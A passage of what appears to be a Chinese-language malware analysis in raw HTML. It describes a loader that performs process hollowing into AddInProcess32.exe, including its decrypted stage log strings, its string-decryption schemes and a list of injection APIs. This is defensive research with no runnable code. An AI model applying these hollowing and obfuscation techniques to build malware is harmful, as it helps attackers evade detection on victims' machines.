style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4189189189189189" data-w="592" style="width:498.40997314453125px;height:208.82000732421875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=04bb8844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKwdCPe8Wwdyia8L6pgwlJ3bdxRXXD7KS2ZGibyWT4ATWRmZCeIbmFh8gsibGbicL82kAaACo8Or3pkQJsxWgRkGpEAZrnjcBNu3R8%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图3 加载器执行入口</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其后的主要执行流程如下：</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（1）</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解密一系列有趣的字符串，内容包括该加载器启动阶段的预设配置信息和在执行阶段的注入行为日志，它的各阶段以不同的英文字母简写来表示，例如：</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">表1 加载器运行后解密的字符串示例</span></span></p><table style="width:574px;"><tbody><tr><td data-colwidth="287" style="border-color:#000000;"><p style="text-align: center;"><span leaf="">字符串示例</span></p></td><td data-colwidth="287" style="border-color:#000000;"><p style="text-align: center;"><span leaf="">含义</span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">GATE: features=startup;</span></span></p><p style="margin-left: 0pt;"><span leaf=""><span textstyle="" style="font-size: 15px;">hide_console </span></span></p><p style="margin-left: 0pt;"><span leaf=""><span textstyle="" style="font-size: 15px;">elevated=False </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">session0=False</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">开机自启动、隐藏窗口、普通权限、用户会话模式</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">PREP: moduleLoaded=True</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">hide_console elevated=False session0=False</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">模块已加载，准备就绪</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">PREP: moduleLoaded=True</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">hide_console elevated=False session0=False</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">确认注入目标位置</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">PH: epRva=0xCB8E0000003 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">base=0x1010000 pref=0x400000t.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">PH（进程镂空）模块：入口点RVA地址和注入对象</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;"><span data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">GH:inject=TrueE origImgBase=0x400000 pref=0x400000ft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p style="" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">GH模块：注入功能已启用；</span></span></font></p><p style=""><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">目标进程原始基址；</span></span></font></p><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">payload 首选加载基址</span></span></font></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;"><span data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">GH:x86=True48640b target=C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">GH模块：确认CPU架构</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p><span style="" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">GH:payload=48640b</span></span></span><span style=""><span leaf=""><span textstyle="" style="font-size: 15px;">targ</span></span></span><span style=""><span leaf=""><span textstyle="" style="font-size: 15px;">et</span></span></span><span style=""><span leaf=""><span textstyle="" style="font-size: 15px;">=C:\\Windows\\Microsoft.NET\\Fram</span></span></span><span style=""><span leaf=""><span textstyle="" style="font-size: 15px;">ework\\v4.0.30319\\AddInProcess32.exe</span></span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">GH模块：确认载荷大小和目标进程</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left: 0pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">GSF: wrote 48640</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">aged=True target=C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">GSF</span></span></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">模块：写入临时文件，记录大小</span></span></font></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">GSF:disp=0xC0000121=True target=C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">GS</span></span></span><span data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">F</span></span></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">模块：删除临时文件</span></span></font></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left:0.0000pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">PC: pid=2391848 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">ok=Trueue target=C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">PC（创建傀儡进程）模块：PID、创建状态、目标程序所在目录</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">RM:map init managed=True target=C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">RM（映射）模块：映射初始化完成</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left:0.0000pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">RM</span></span><font face="仿宋"><span leaf=""><span textstyle="" style="font-size: 15px;">:</span></span></font><span leaf=""><span textstyle="" style="font-size: 15px;">resume=xCB8E</span></span></p><p style="margin-left:0.0000pt;"><span leaf=""><span textstyle="" style="font-size: 15px;">origImgBase=0x4000000</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">pref=0x400000t.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">RM（映射）模块：ResumeThread 后线程恢复执行的地址</span></span></font></span></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p style="margin-left:0.0000pt;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">RM: map#1 </span></span></p><p style="margin-left:0.0000pt;"><span leaf=""><span textstyle="" style="font-size: 15px;">st=0x40000003 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">base=0x1010000 pref=0x400000t.NET\\Framework\\v4.0.30319\\AddInProcess32.exe</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">RM模块：映射尝试次数、返回的</span></span></font></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">NTSTATUS</span></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">、映射地址、首选地址</span></span></font></p></td></tr><tr><td data-colwidth="287" style="border-color:#000000;"><p data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">PH</span></span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">:</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">m</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">anaged/skip host CRT bootstrap via PEB patch</span></span></p></td><td data-colwidth="287" style="border-color:#000000;"><p><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">PH模块：通过修改 PEB 中的字段让恢复后的线程直接跳入恶意载荷的入口点</span></span></font></span></p></td></tr></tbody></table><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（2）</span><span leaf="" style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">模块和API加载</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在模块映射阶段，模块名称均采用先base64解码、再进行chacha20的变体算法进行解密，最后通过GetModuleHandleW将一系列模块轮询载入。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4749568221070812" data-w="579" style="width: 478.41px;height: 227.22px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7d42f0ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLjFCNCmjYm4Xh63bxe61rPoVlls62Ho1FkDH0mp6tI2rtbEBbeXicic7ylCI55IVZMRB7ZutOPdP06loeibcx2RDk1JgMXD2rR3Y%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图4 模块名称解密过程</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在注入阶段使用xor运算解密一系列API名字符串（密钥为0x7C91），再通过GetProcAddress函数获取其地址。</span><o:page></o:page></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过这种方法获取地址的API包括：</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: left;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CloseHandle、TerminateProcess、CreateFileW、WriteFile、SetFilePointer、CreateProcessW、CreateProcessInternalW、WriteProcessMemory、VirtualProtectEx、Wow64GetThreadContext、Wow64SetThreadContext、GetModuleHandleW、GetProcAddress、LoadLibraryA、ResumeThread、ReadProcessMemory、NtCreateSection、NtClose、NtSetInformationFile、NtProtectVirtualMemory、NtUnmapViewOfSection、NtQueryInformationProcess、NtFreeVirtualMemory、NtMapViewOfSection。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1695827725437416" data-w="743" style="width: 553.74px;height: 93.93px;" src="https://wechat2rss.xlab.app/img-proxy/?k=95c22499&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI1OuZXBBF4fTl60nQKCKA1xoSvmmGnn2jdmg8entxkQXslwCoSBcq7ttyTHQQb93tBY2YbEyicKFYQCmK2yEhEuPl7vgAYCdEM%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.7779527559055118" style="width: 553.74px;height: 430.81px;" data-w="635" 